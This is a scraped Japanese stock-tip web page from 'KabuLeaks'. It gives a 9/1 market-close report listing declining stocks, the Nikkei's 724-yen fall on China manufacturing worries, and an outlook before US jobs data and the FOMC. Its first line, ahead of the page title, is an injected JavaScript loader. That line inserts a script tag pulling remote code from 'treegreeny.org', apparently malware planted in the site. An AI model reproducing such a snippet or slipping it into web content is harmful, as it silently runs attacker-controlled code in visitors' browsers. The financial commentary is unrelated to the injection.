;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/1 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【9/1 大引け】

【5288】Jパイル 848円 -31 (-3.52%)

【9603】HIS 3,910円 -245 (-5.89%)

【1803】清水建設 1,161円 -26 (-2.19%)

【8306】三菱UFJフィナンシャル・グループ 777円 -23.1 (-2.88%)

本日の日経平均株価は724円安の続落。中国経済の悪化懸念を背景に朝方から売り先行スタート。その後、10時に中が発表した8月の製造業PMIは市場予想通りも、好不況の分岐点となる「50」を下回り、景況感悪化が確認された形となった。後場前半は一時1万8500円台を回復する場面もあったものの、一巡後は再び先物主導での売りに押され一段安。下げ幅今年3番目を記録し、日経平均は安値引けで全面安の展開となった。

個別では、アルミ電解コンデンサの販売を10月から資本業務提携先である太陽誘電の販売網を通じて開始すると発表から【6972】エルナーが一時ストップ高の大幅上昇。モルガンの新規買い推奨から【4980】デクセリアルズ、みずほ証券が目標株価を3000円に引き上げた【6432】竹内製作所が買われたほか、東証2部の低位株【3578】倉庫精練、【6977】日本抵抗器製作所などの特段の材料は確認されていないものの上昇が目立った。

二番底を探る展開。明日も中国の景気減速懸念や米国の利上げをめぐる警戒感を背景に引き続き不安定な状況続く可能性が濃厚だ。先物への仕掛け的動きも出やすく要警戒。週末には雇用統計、良好な結果なら利上げ警戒の思惑あり。今月は9月半ばに控えるFOMCで明確な結論が出るまでは波乱の展開が続くと見ておきたい。